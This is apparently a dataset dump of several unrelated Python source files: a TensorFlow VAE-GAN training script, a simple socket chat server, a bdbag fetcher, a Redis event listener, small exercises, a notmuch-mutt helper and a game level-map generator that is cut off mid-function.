img[:, :, None]\n if image_batch is None: \n image_batch = np.array([img], dtype=np.float32)\n else: \n image_batch = np.concatenate((image_batch,np.array([img], dtype=np.float32)),axis=0)\n image_batch = (value_range[0] + (image_batch / 255.0) * (value_range[1] - value_range[0]))\n return image_batch\n\ndef plot(image1_plot, image3_plot, image_class1_style3, image_class3_style1, epoch):\n num, w, h, c = image1_plot.shape[0], image1_plot.shape[1], image1_plot.shape[2], image1_plot.shape[3]\n img = Image.new('L',(w*4,h*num))\n for i in range(num):\n img.paste(Image.fromarray(np.squeeze((image1_plot[i]*255).astype(np.uint8))),(64*0,64*i))\n img.paste(Image.fromarray(np.squeeze((image3_plot[i]*255).astype(np.uint8))),(64*1,64*i))\n img.paste(Image.fromarray(np.squeeze((image_class1_style3[i]*255).astype(np.uint8))),(64*2,64*i))\n img.paste(Image.fromarray(np.squeeze((image_class3_style1[i]*255).astype(np.uint8))),(64*3,64*i))\n img.save(os.path.join('savedImages',str(epoch)+'.png'))\n\n\ndef get_mean(x):\n return np.mean(np.array(x, dtype=np.float32))\n\ndef variables_in_current_scope():\n return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=tf.get_variable_scope().name)\n\ndef scope_variables(name):\n with tf.variable_scope(name):\n return variables_in_current_scope()\n\ndef leaky_rectify(x, leakiness=0.01):\n assert leakiness <= 1\n ret = tf.maximum(x, leakiness * x)\n return ret\n\ndef conv_batch_norm(inputs,\n name=\"batch_norm\",\n is_training=True,\n trainable=True,\n epsilon=1e-5):\n ema = tf.train.ExponentialMovingAverage(decay=0.9)\n shp = inputs.get_shape()[-1].value\n\n with tf.variable_scope(name) as scope:\n gamma = tf.get_variable(\"gamma\", [shp], initializer=tf.random_normal_initializer(1., 0.02), trainable=trainable)\n beta = tf.get_variable(\"beta\", [shp], initializer=tf.constant_initializer(0.), trainable=trainable)\n\n mean, variance = tf.nn.moments(inputs, [0, 1, 2])\n mean.set_shape((shp,))\n variance.set_shape((shp,))\n ema_apply_op = ema.apply([mean, variance])\n\n def update():\n with tf.control_dependencies([ema_apply_op]):\n return tf.nn.batch_norm_with_global_normalization(\n inputs, mean, variance, beta, gamma, epsilon,\n scale_after_normalization=True\n )\n def do_not_update():\n return tf.nn.batch_norm_with_global_normalization(\n inputs, ema.average(mean), ema.average(variance), beta,\n gamma, epsilon,\n scale_after_normalization=True\n )\n\n normalized_x = tf.cond(\n is_training,\n update,\n do_not_update\n )\n return normalized_x\n\ndef conv2d(inputs,num_outputs,kernel_size,stride,is_training,normalizer_fn,activation_fn,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n out = layers.convolution2d(inputs,\n num_outputs=num_outputs,\n kernel_size=kernel_size,\n stride=stride,\n normalizer_params={\"is_training\": is_training},\n normalizer_fn=normalizer_fn,\n activation_fn=activation_fn)\n return out\n\ndef conv2d_transpose(inputs,num_outputs,kernel_size,stride,is_training,normalizer_fn,activation_fn,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n out = layers.convolution2d_transpose(inputs,\n num_outputs=num_outputs,\n kernel_size=kernel_size,\n stride=stride,\n normalizer_params={\"is_training\": is_training},\n normalizer_fn=normalizer_fn,\n activation_fn=activation_fn)\n return out\n\ndef fc(inputs,num_outputs,is_training,normalizer_fn,activation_fn,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n out = layers.fully_connected(inputs,\n num_outputs=num_outputs,\n activation_fn=activation_fn,\n normalizer_fn=normalizer_fn,\n normalizer_params={\"is_training\": is_training, \"updates_collections\": None})\n return out\n\ndef encoder(image,kernel,stride,class_dim,style_dim,is_training,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n conv1 = conv2d(image,32,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv1')\n conv2 = conv2d(conv1,64,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv2')\n conv3 = conv2d(conv2,128,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv3')\n conv4 = conv2d(conv3,128,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv4')\n sp = conv4.get_shape()\n flatten = tf.reshape(conv4, [-1,sp[1]*sp[2]*sp[3]])\n fc1 = fc(flatten,1024,is_training,layers.batch_norm,leaky_rectify,'fc1')\n class_vector = fc(fc1,class_dim,is_training,layers.batch_norm,leaky_rectify,'class_vector')\n style_vector = fc(fc1,style_dim,is_training,layers.batch_norm,leaky_rectify,'style_vector')\n return class_vector, style_vector, sp[1], sp[2], sp[3]\n\ndef decoder(vector,w,h,c,kernel,stride,is_training,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n fc1 = fc(vector,1024,is_training,layers.batch_norm,leaky_rectify,'fc1')\n fc2 = fc(fc1,w*h*c,is_training,layers.batch_norm,leaky_rectify,'fc2')\n expand = tf.reshape(fc2, [-1,w,h,c])\n conv1 = conv2d_transpose(expand,128,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv1')\n conv2 = conv2d_transpose(conv1,64,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv2')\n conv3 = conv2d_transpose(conv2,32,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv3')\n conv4 = conv2d_transpose(conv3,1,kernel,stride,is_training,conv_batch_norm,tf.nn.sigmoid,'conv4')\n return conv4\n\ndef discriminator(image,kernel,stride,is_training,name):\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n conv1 = conv2d(image,32,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv1')\n conv2 = conv2d(conv1,64,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv2')\n conv3 = conv2d(conv2,128,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv3')\n conv4 = conv2d(conv3,128,kernel,stride,is_training,conv_batch_norm,leaky_rectify,'conv4')\n sp = conv4.get_shape()\n flatten = tf.reshape(conv4, [-1,sp[1]*sp[2]*sp[3]])\n fc1 = fc(flatten,1024,is_training,layers.batch_norm,leaky_rectify,'fc1')\n fc2 = fc(fc1,128,is_training,layers.batch_norm,leaky_rectify,'fc2')\n pred = fc(fc2,1,is_training,layers.batch_norm,tf.nn.sigmoid,'pred')\n return pred\n\ndef cycle_consistent_vae_with_gan(image1,image2,image3,kernel,stride,class_dim,style_dim,is_training,reconstruct_coef,kl_coef,generator_coef,discriminator_coef,name):\n # image1, image2, imgae3 are all batched image data\n # specifically, every item in image1 has the same class with its corresponding one in image2\n # while image3 is independent to image1 (randomly picked)\n with tf.variable_scope(name,reuse=tf.AUTO_REUSE):\n class_vector_1, style_vector_1, w, h, c = encoder(image1,kernel,stride,class_dim,style_dim,is_training,'encoder')\n class_vector_2, style_vector_2, _, _, _ = encoder(image2,kernel,stride,class_dim,style_dim,is_training,'encoder')\n class_vector_3, style_vector_3, _, _, _ = encoder(image3,kernel,stride,class_dim,style_dim,is_training,'encoder')\n w,h,c = int(w), int(h), int(c)\n \n vector_1 = tf.concat([class_vector_2, style_vector_1], 1)\n vector_2 = tf.concat([class_vector_1, style_vector_2], 1)\n\n # forward\n image1_forward_reconstruct = decoder(vector_1,w,h,c,kernel,stride,is_training,'decoder')\n image2_forward_reconstruct = decoder(vector_2,w,h,c,kernel,stride,is_training,'decoder')\n\n reconstruct_loss_1 = tf.reduce_mean(tf.reduce_sum(tf.abs(image1-image1_forward_reconstruct),[1,2,3]))\n reconstruct_loss_2 = tf.reduce_mean(tf.reduce_sum(tf.abs(image2-image2_forward_reconstruct),[1,2,3]))\n reconstruct_loss = reconstruct_coef * (reconstruct_loss_1 + reconstruct_loss_2)\n\n # reverse\n sample = tf.zeros(tf.shape(style_vector_3), dtype=tf.float32)\n vector_reverse_1 = tf.concat([class_vector_1, sample], 1)\n vector_reverse_3 = tf.concat([class_vector_3, sample], 1)\n \n image1_reverse_reconstruct = decoder(vector_reverse_1,w,h,c,kernel,stride,is_training,'decoder')\n image3_reverse_reconstruct = decoder(vector_reverse_3,w,h,c,kernel,stride,is_training,'decoder')\n\n class_vector_reverse_1, style_vector_reverse_1, _, _, _ = encoder(image1_reverse_reconstruct,kernel,stride,class_dim,style_dim,is_training,'encoder')\n class_vector_reverse_3, style_vector_reverse_3, _, _, _ = encoder(image3_reverse_reconstruct,kernel,stride,class_dim,style_dim,is_training,'encoder')\n\n reverse_loss_1 = tf.reduce_mean(tf.reduce_sum(tf.abs(sample - style_vector_reverse_1),1))\n reverse_loss_3 = tf.reduce_mean(tf.reduce_sum(tf.abs(sample - style_vector_reverse_3),1))\n reverse_loss = reverse_loss_1 + reverse_loss_3\n\n image1_pred_true = discriminator(image1,kernel,stride,is_training,'discriminator')\n image2_pred_true = discriminator(image2,kernel,stride,is_training,'discriminator')\n image3_pred_true = discriminator(image3,kernel,stride,is_training,'discriminator')\n image1_pred_forward_fake = discriminator(image1_forward_reconstruct,kernel,stride,is_training,'discriminator')\n image2_pred_forward_fake = discriminator(image2_forward_reconstruct,kernel,stride,is_training,'discriminator')\n image1_pred_reverse_fake = discriminator(image1_reverse_reconstruct,kernel,stride,is_training,'discriminator')\n image3_pred_reverse_fake = discriminator(image3_reverse_reconstruct,kernel,stride,is_training,'discriminator')\n\n discriminator_true_1 = tf.reduce_mean(tf.log(image1_pred_true + 1e-6))\n discriminator_true_2 = tf.reduce_mean(tf.log(image2_pred_true + 1e-6))\n discriminator_true_3 = tf.reduce_mean(tf.log(image3_pred_true + 1e-6))\n discriminator_forward_fake_1 = tf.reduce_mean(tf.log(1.0 - image1_pred_forward_fake + 1e-6))\n discriminator_forward_fake_2 = tf.reduce_mean(tf.log(1.0 - image2_pred_forward_fake + 1e-6))\n discriminator_reverse_fake_1 = tf.reduce_mean(tf.log(1.0 - image1_pred_reverse_fake + 1e-6))\n discriminator_reverse_fake_3 = tf.reduce_mean(tf.log(1.0 - image3_pred_reverse_fake + 1e-6))\n\n discriminator_forward_true_1 = tf.reduce_mean(tf.log(image1_pred_forward_fake + 1e-6))\n discriminator_forward_true_2 = tf.reduce_mean(tf.log(image2_pred_forward_fake + 1e-6))\n discriminator_reverse_true_1 = tf.reduce_mean(tf.log(image1_pred_reverse_fake + 1e-6))\n discriminator_reverse_true_3 = tf.reduce_mean(tf.log(image3_pred_reverse_fake + 1e-6))\n\n generator_loss = -generator_coef * (discriminator_forward_true_1 + discriminator_forward_true_2 + discriminator_reverse_true_1 + discriminator_reverse_true_3)\n discriminator_loss = -discriminator_coef * (discriminator_true_1 + discriminator_true_2 + discriminator_true_3 + discriminator_forward_fake_1 + discriminator_forward_fake_2 + discriminator_reverse_fake_1 + discriminator_reverse_fake_3)\n\n return reconstruct_loss, reverse_loss, generator_loss, discriminator_loss, image1_forward_reconstruct, image2_forward_reconstruct\n\ndef main():\n # initialize parameters\n parser = init()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = parser.gpu\n categorical_cardinality = parser.categorical_cardinality\n data_path = parser.data_path\n styles = parser.styles\n image_size = parser.image_size\n force_grayscale = parser.force_grayscale\n channel_size = 1 if force_grayscale else 3\n seed = parser.seed\n lr = parser.lr\n batch_size = parser.batch_size\n epochs = parser.epochs\n kernel = parser.kernel\n stride = parser.stride\n class_dim = parser.class_dim\n style_dim = parser.style_dim\n reconstruct_coef = parser.reconstruct_coef\n kl_coef = parser.kl_coef\n generator_coef = parser.generator_coef\n discriminator_coef = parser.discriminator_coef\n\n # load data\n imageName, imageDict = locate(data_path, styles, categorical_cardinality)\n imageNum = len(imageName)\n\n image1 = tf.placeholder(tf.float32,[None, image_size, image_size, channel_size],name=\"image1\")\n image2 = tf.placeholder(tf.float32,[None, image_size, image_size, channel_size],name=\"image2\")\n image3 = tf.placeholder(tf.float32,[None, image_size, image_size, channel_size],name=\"image3\")\n is_training = tf.placeholder(tf.bool,[],name=\"is_training\")\n\n forward_loss, reverse_loss, generator_loss, discriminator_loss, image1_forward_reconstruct, image2_forward_reconstruct = cycle_consistent_vae_with_gan(\n image1,image2,image3,\n kernel,stride,class_dim,style_dim,is_training,\n reconstruct_coef,kl_coef,generator_coef,discriminator_coef,\n 'cycle-consistent-vae-with-gan')\n\n encoder_variables = scope_variables(\"cycle-consistent-vae-with-gan/encoder\")\n decoder_variables = scope_variables('cycle-consistent-vae-with-gan/decoder')\n discriminator_variables = scope_variables('cycle-consistent-vae-with-gan/discriminator')\n\n forward_solver = tf.train.AdamOptimizer(learning_rate=lr,beta1=0.5)\n reverse_solver = tf.train.AdamOptimizer(learning_rate=lr,beta1=0.5)\n generator_solver = tf.train.AdamOptimizer(learning_rate=lr,beta1=0.5)\n discriminator_solver = tf.train.AdamOptimizer(learning_rate=lr,beta1=0.5)\n forward_train = forward_solver.minimize(forward_loss, var_list=encoder_variables+decoder_variables)\n reverse_train = reverse_solver.minimize(reverse_loss, var_list=encoder_variables+decoder_variables)\n generator_train = generator_solver.minimize(generator_loss, var_list=encoder_variables+decoder_variables)\n discriminator_train = discriminator_solver.minimize(discriminator_loss, var_list=discriminator_variables)\n\n idxes_1 = np.arange(imageNum, dtype=np.int32)\n idxes_3 = np.arange(imageNum, dtype=np.int32)\n config = tf.ConfigProto() \n config.gpu_options.per_process_gpu_memory_fraction = parser.gpu_fraction\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(epochs):\n np.random.shuffle(idxes_1)\n np.random.shuffle(idxes_3)\n forward_losses = []\n reverse_losses = []\n generator_losses = []\n discriminator_losses = []\n \n for idx in range(0, imageNum, batch_size):\n image1_batch = loader(imageName[idxes_1[idx:idx + batch_size]],desired_height=image_size,desired_width=image_size,value_range=(0.0, 1.0),force_grayscale=force_grayscale)\n image2_batch = loader(choice(imageName[idxes_1[idx:idx + batch_size]],imageDict),desired_height=image_size,desired_width=image_size,value_range=(0.0, 1.0),force_grayscale=force_grayscale)\n image3_batch = loader(imageName[idxes_3[idx:idx + batch_size]],desired_height=image_size,desired_width=image_size,value_range=(0.0, 1.0),force_grayscale=force_grayscale)\n feed_dict_training = {image1:image1_batch,image2:image2_batch,image3:image3_batch,is_training:True}\n\n # forward\n _,_,_forward_loss,_generator_loss = sess.run([forward_train,generator_train,forward_loss,generator_loss],feed_dict=feed_dict_training)\n forward_losses.append(_forward_loss)\n generator_losses.append(_generator_loss)\n\n # reverse\n _,_,_reverse_loss,_generator_loss = sess.run([reverse_train,generator_train,reverse_loss,generator_loss],feed_dict=feed_dict_training)\n reverse_losses.append(_reverse_loss)\n generator_losses.append(_generator_loss)\n\n # discriminator\n _,_discriminator_loss = sess.run([discriminator_train,discriminator_loss],feed_dict=feed_dict_training)\n discriminator_losses.append(_discriminator_loss)\n\n print('epoch: %d\\nforward_loss: %f, reverse_loss: %f, generator_loss: %f, discriminator_loss: %f\\n' % (epoch, get_mean(forward_losses), get_mean(reverse_losses), get_mean(generator_losses), get_mean(discriminator_losses)))\n \n image1_plot = loader(imageName[idxes_1[0:10]],desired_height=image_size,desired_width=image_size,value_range=(0.0, 1.0),force_grayscale=force_grayscale)\n image3_plot = loader(imageName[idxes_3[0:10]],desired_height=image_size,desired_width=image_size,value_range=(0.0, 1.0),force_grayscale=force_grayscale)\n feed_dict_not_training = {image1:image1_plot,image2:image3_plot,image3:image3_plot,is_training:False}\n image_class1_style3, image_class3_style1 = sess.run([image1_forward_reconstruct, image2_forward_reconstruct],feed_dict=feed_dict_not_training)\n plot(image1_plot, image3_plot, image_class1_style3, image_class3_style1, epoch)\n\n\nif __name__ == '__main__':\n main()\n '''\n X = (np.random.sample((10,10))*255).astype(np.uint8)\n img2 = Image.open('x.png')\n img2_arr = np.array(img2)\n print(img2_arr.shape, img2_arr.dtype)\n img = Image.fromarray(img2_arr)\n img.save('y.png')\n print(X.shape, X.dtype)\n print(X)\n img = Image.fromarray(X)\n img.save('try.png')\n '''\n ","sub_path":"cycle-consistent-ae-with-gan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"181478525","text":"import socket\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\nip=input(\"Enter ip : \")\nport=input(\"Enter port : \")\nname=input(\"Enter name : \")\n\ns.bind((ip,int(port)))\ns.listen(5)\n\nprint(\"connected to port\"+str(port)+\"\\n\")\n\nc , adder =s.accept()\nprint(\"connected to\"+str(adder)+\"\\n\")\n\nwhile True:\n msg=input(\"-> \")\n c.sendall(name.encode()+\"--> \".encode()+msg.encode())\n data=c.recv(1024)\n print(data.decode())\n\n\ns.close()\n","sub_path":"Pentest and Network/Socket/chat_server/Socket Chat Server.py","file_name":"Socket Chat Server.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"616065648","text":"import sys\nimport datetime\nimport logging\nfrom bdbag.fetch.transports import *\nfrom bdbag.fetch.auth.keychain import *\n\nif sys.version_info > (3,):\n from urllib.parse import urlsplit\nelse:\n from urlparse import urlsplit\n\nlogger = logging.getLogger(__name__)\n\nUNIMPLEMENTED = \"Transfer protocol \\\"%s\\\" is not supported by this implementation\"\n\nSCHEME_HTTP = 'http'\nSCHEME_HTTPS = 'https'\nSCHEME_GLOBUS = 'globus'\nSCHEME_FTP = 'ftp'\nSCHEME_SFTP = 'sftp'\nSCHEME_ARK = 'ark'\nSCHEME_TAG = 'tag'\n\n\ndef fetch_bag_files(bag, keychain_file, force=False, callback=None):\n\n success = True\n auth = read_keychain(keychain_file)\n current = 0\n total = 0 if not callback else len(set(bag.files_to_be_fetched()))\n start = datetime.datetime.now()\n for url, size, path in bag.fetch_entries():\n output_path = os.path.normpath(os.path.join(bag.path, path))\n if not force and os.path.exists(output_path) and os.path.getsize(output_path) == int(size):\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug(\"Not fetching already present file: %s\" % output_path)\n pass\n else:\n success = fetch_file(url, size, output_path, auth)\n if callback:\n current += 1\n if not callback(current, total):\n logger.warning(\"Fetch cancelled by user...\")\n break\n elapsed = datetime.datetime.now() - start\n logger.info(\"Fetch complete. Elapsed time: %s\" % elapsed)\n cleanup_transports()\n return success\n\n\ndef fetch_file(url, size, path, auth):\n\n scheme = urlsplit(url, allow_fragments=True).scheme.lower()\n if SCHEME_HTTP == scheme or SCHEME_HTTPS == scheme:\n return fetch_http.get_file(url, path, auth)\n if SCHEME_FTP == scheme:\n return fetch_ftp.get_file(url, path, auth)\n elif SCHEME_GLOBUS == scheme:\n return fetch_globus.get_file(url, path, auth)\n elif SCHEME_ARK == scheme:\n for url in fetch_ark.resolve(url):\n if fetch_file(url, size, path, auth):\n return True\n return False\n elif SCHEME_TAG == scheme:\n logger.info(\"The fetch entry for file %s specifies the tag URL %s. Tag URLs generally represent files that are \"\n \"not directly addressable by URL and therefore cannot be automatically fetched. Such files must be \"\n \"resolved outside of the context of this software.\" % (path, url))\n return True\n else:\n logger.warning(UNIMPLEMENTED % scheme)\n return False\n\n\ndef cleanup_transports():\n fetch_http.cleanup()\n","sub_path":"bdbag/fetch/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"531236261","text":"import json\nimport time as pytime\nimport sys\nimport threading\nimport signal\n\nfrom lib.redis.redisqueue import RedisQueue\n\n\nclass EventListener:\n\n def __init__(self):\n self.go = True\n self.task_process = None\n self.q = None\n self.handler = None\n\n def con2redis(self):\n self.q = RedisQueue('my-queue', host='localhost', port=6379, db=0)\n\n def setredis(self, redis):\n self.q = redis\n\n\n def terminate(self):\n print('queue_listener will be terminated.')\n if self.handler is not None:\n self.go = False\n pytime.sleep(2)\n self.handler.join()\n\n\n def set_process_cb(self, process_cb):\n self.task_process = process_cb\n\n\n def queue_listener(self):\n print('queue_listener is created.')\n # message get\n while(self.go):\n msg = self.q.get(isBlocking=True, timeout=2) # 큐가 비어있을 때 대기\n if msg is not None:\n msg_json = json.loads(msg.decode('utf-8'))\n if self.task_process is not None:\n self.task_process(msg_json)\n else:\n print('msg is empty...')\n print('queue_listener is terminated.')\n\n\n def create_listener(self):\n self.handler = threading.Thread(target=self.queue_listener)\n self.handler.start()\n\n\nevent_listener = None\n\n\ndef start():\n global event_listener\n event_listener = EventListener() \n event_listener.con2redis()\n event_listener.create_listener()\n return True\n\n\ndef terminate():\n print('-- requested to terminate. 0')\n print(event_listener)\n if event_listener is not None:\n print('-- requested to terminate. 1')\n event_listener.terminate()\n\n\ndef set_process_cb(process_cb):\n if event_listener is not None:\n event_listener.set_process_cb(process_cb)\n\n\nif __name__ == \"__main__\":\n EventListener().queue_listener()\n","sub_path":"lib/event/event_listener.py","file_name":"event_listener.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"349707527","text":"# 2021-04-08, lucas.mayer.almeida@ccc.ufcg.edu.br\n# Multiplica os elementos da lista pela quantidade de vezes pedida\n\ndef multiplica_lista(n,lista) :\n resultado = []\n while n > 0 :\n for s in lista:\n resultado.append(s)\n n -= 1\n return resultado\n","sub_path":"atividades/multiplica_lista/questao.py","file_name":"questao.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"218617380","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nw1 = 2.354\nomegaM1 = w1 + 15e-8\nomegaM2 = w1 + 25e-8\ngamma = 2.5e-9\n\nN_freq = 1000\nfreq_ord1 = np.linspace(w1-3.8e-6, w1+3.8e-6, N_freq)\nfreq = np.linspace(2.*w1-7.6e-6, 2.*w1+7.6e-6, N_freq)\n\nomega_del1 = 2e-7\nomega_del2 = 2e-7\n\nN_comb = 25\ndel_omega1 = omega_del1 * np.arange(-N_comb, N_comb)\ndel_omega2 = omega_del2 * np.arange(-N_comb, N_comb)\n\nomega = freq[:, np.newaxis, np.newaxis]\nomega1 = freq_ord1[:, np.newaxis, np.newaxis]\ncomb_omega1 = del_omega1[np.newaxis, :, np.newaxis]\ncomb_omega2 = del_omega2[np.newaxis, np.newaxis, :]\n\nfield1 = gamma / ((omega1 - omegaM1 - comb_omega1)**2 + gamma**2)\nfield2 = gamma / ((omega1 - omegaM2 - comb_omega2)**2 + gamma**2)\n\nfield_order2 = 2.*np.pi*gamma /((omega - omegaM1 - omegaM2 - comb_omega1 - comb_omega2)**2 + 4*gamma**2)\n\nplt.figure()\nplt.subplot(211)\nplt.plot(freq_ord1, field1.sum(axis=(1,2)), 'b')\nplt.plot(freq_ord1, field2.sum(axis=(1,2)), 'r')\nplt.subplot(212)\nplt.plot(freq, field_order2.sum(axis=(1,2)), 'k')\nplt.show()","sub_path":"fields_2ndorder.py","file_name":"fields_2ndorder.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22258209","text":"#!/usr/bin/python\n# vim: expandtab tabstop=4\n# a Python implementation of using notmuch with mutt.\nfrom __future__ import print_function\nfrom mailbox import Maildir\nimport notmuch\nimport os\nimport subprocess\nimport sys\n\n\ndef clear_mailbox(directory):\n \"\"\"function clears mailbox by removing symlinks.\"\"\"\n mailbox = Maildir(directory)\n mailbox.clear()\n\ndef parse_results():\n \"\"\"\n Function creates a database query inside notmuch, and creates UNIX symlinks\n for every mail message that is matched with query.\n \"\"\"\n\n database = notmuch.Database()\n query = raw_input('query: ')\n if not query:\n print('no input will parse every record and is not recommended.')\n sys.exit(1)\n else:\n results = database.create_query(query)\n results_dir = os.path.expanduser('~/.mutt/.results')\n clear_mailbox(results_dir)\n for message in results.search_messages():\n subprocess.call(\n ['/bin/ln', '-s', message.get_filename(), results_dir + '/cur/']\n )\n\n\nif __name__ == '__main__':\n sys.exit(parse_results())\n","sub_path":"notmuch_mutt.py","file_name":"notmuch_mutt.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"569428928","text":"#!/usr/bin/env python\n\nimport pygame\nimport sys\nimport random\n\nfrom pygame.locals import *\nfrom pygame import *\nfrom array import *\n\nclass LevelMap:\n \n def __init__(self, display, displaySize, blockSize):\n levelMaps = True;\n self.display = display\n self.displaySize = displaySize\n self.blockSize = blockSize\n\n def getLevelMap(self, maxRoomSize, maxHallSize):\n print(\"Srarting Map Generation\")\n # User Set Values\n maxWidthPixles = self.displaySize[0] * 1.40 # screen pixles accross\n maxHeightPixles = self.displaySize[1] * 1.40 # screen pixles down\n defaultWallPieceLength = self.blockSize # pixle size of wall segment\n roomMinSize = 4 # smallest height/width of room\n roomMaxSize = maxRoomSize # largest height/width of room\n self.minHallSize = 3 # smallest path size\n self.maxHallSize = maxHallSize # largest path size\n self.directionOffset = 10 # Increases change of path going in intended direction\n\n # Set Up Variables\n roomArray = []\n roomArray.insert(0,\"E\")\n widthCount = 0\n heightCount = 0\n tileCount = 0\n roomLine = \"\"\n tile = \".\"\n roof = False\n Bottom = False\n wallWidth = int(maxWidthPixles / defaultWallPieceLength)\n self.wallWidth = int(maxWidthPixles / defaultWallPieceLength)\n wallHeight = int(maxHeightPixles / defaultWallPieceLength)\n self.wallHeight = wallHeight\n print(\"Building Rooms\")\n # Build Map Loop\n while heightCount <= wallHeight:\n inRoom = False\n while widthCount <= wallWidth:\n lineBefore = int(tileCount - wallWidth - 1)\n if lineBefore < 0:\n lineBefore = 0\n if heightCount == 0 or widthCount == 0 or heightCount == wallHeight or widthCount == wallWidth:\n # Top and Sides\n tile = \"#\"\n elif roof == True and widthCount == roomWidthEnd:\n # Top Right Corner\n tile = \"E\"\n roof = False\n elif roof == True:\n # Top Fill\n tile = \"T\"\n elif roomArray[lineBefore] == \"S\" or roomArray[lineBefore] == \"C\":\n # Left Fill\n inRoom = True\n tile = \"C\"\n roomHeight = random.randrange(roomMinSize, roomMaxSize)\n x = 0\n endRoom = True;\n # Check Room Above\n while x < roomHeight:\n offSet = lineBefore - (x * (wallWidth+1))\n if offSet < 0:\n offSet = 0\n if roomArray[int(offSet)] == \".\":\n endRoom = False\n x += 1\n if endRoom == True:\n # Bottom Left Corner\n tile = \"F\"\n Bottom = True;\n elif Bottom == True and roomArray[lineBefore] == \"E\":\n # Bottom Right Corner\n tile = \"Z\"\n Bottom = False;\n elif roomArray[lineBefore] == \"E\":\n # Right Fill\n inRoom = False\n tile = \"E\"\n elif Bottom == True:\n # Bottom Fill\n tile = \"F\"\n elif widthCount == random.randrange(0, wallWidth) and inRoom == False:\n # New Room\n # Top Left Corner\n newRoom = True\n roomWidth = random.randrange(roomMinSize, roomMaxSize)\n x = 0\n # Check Nothing Hits to the Left\n while x <= roomWidth:\n if roomArray[int(lineBefore+x)] != \".\":\n newRoom = False\n x += 1\n if wallWidth <= (roomWidth + widthCount):\n newRoom = False\n if newRoom == True:\n tile = \"S\"\n roof = True\n roomWidthEnd = roomWidth + widthCount\n else:\n tile = \".\"\n else:\n tile = \".\"\n roomArray.insert(tileCount, tile)\n roomLine += tile\n tileCount += 1\n widthCount += 1\n heightCount += 1\n widthCount = 0\n roomLine = \"\"\n # Link the rooms\n print(\"Linking Rooms\")\n for index, savedTile in enumerate(roomArray):\n primaryRouteTried = False\n if savedTile == \"S\":\n whereNow = list(roomArray)\n whereNow[index] = \"*\"\n currentTile = roomArray[index+1]\n exitFound = False\n newIndex = index + 1\n # Set Primary & Alternate Route\n lineCheck = newIndex\n currentY = 0\n currentX = newIndex\n chunkY = int(wallHeight / 2)\n chunkX = int(wallWidth / 2)\n while currentX > wallWidth:\n currentY += 1\n currentX -= wallWidth\n if currentY < chunkY and currentX < chunkX:\n if random.randrange(1, 5) >= 2:\n primaryOption = \"E\"\n secondaryRoute = \"F\"\n else:\n primaryOption = \"F\"\n secondaryRoute = \"E\"\n elif currentY < chunkY and currentX > chunkX:\n if random.randrange(1, 5) >= 2:\n primaryOption = \"C\"\n secondaryRoute = \"F\"\n else:\n primaryOption = \"F\"\n secondaryRoute = \"C\"\n elif currentY > chunkY and currentX < chunkX:\n if random.randrange(1, 5) >= 2:\n primaryOption = \"E\"\n secondaryRoute = \"T\"\n else:\n primaryOption = \"T\"\n secondaryRoute = \"E\"\n elif currentY > chunkY and currentX > chunkX:\n if random.randrange(1, 5) >= 2:\n primaryOption = \"C\"\n secondaryRoute = \"T\"\n else:\n primaryOption = \"T\"\n secondaryRoute = \"C\"\n while exitFound == False:\n currentTile = roomArray[newIndex]\n lineBeforeIndex = newIndex - wallWidth - 1\n lineAfterIndex = newIndex + wallWidth + 1\n lineBefore = roomArray[int(lineBeforeIndex)]\n if lineAfterIndex >= len(roomArray):\n lineAfterIndex = len(roomArray)-1\n lineAfter = roomArray[int(lineAfterIndex)]\n if currentTile == \"T\":\n if (currentTile == primaryOption) or (currentTile == secondaryRoute and primaryRouteTried == True):\n primaryRouteTried = True\n possibleMap = self.exploreMap(\"up\", roomArray, newIndex)\n if possibleMap != False:\n exitFound = True\n roomArray = list(possibleMap)\n newIndex += 1\n if currentTile == \"E\":\n if (currentTile == primaryOption) or (currentTile == secondaryRoute and primaryRouteTried == True):\n primaryRouteTried = True\n possibleMap = self.exploreMap(\"right\", roomArray, newIndex)\n if possibleMap != False:\n exitFound = True\n roomArray = list(possibleMap)\n if lineAfter == \"Z\":\n newIndex = lineAfterIndex - 1\n else:\n newIndex = lineAfterIndex\n if currentTile == \"F\":\n if (currentTile == primaryOption) or (currentTile == secondaryRoute and primaryRouteTried == True):\n primaryRouteTried = True\n possibleMap = self.exploreMap(\"down\", roomArray, newIndex)\n if possibleMap != False:\n exitFound = True\n roomArray 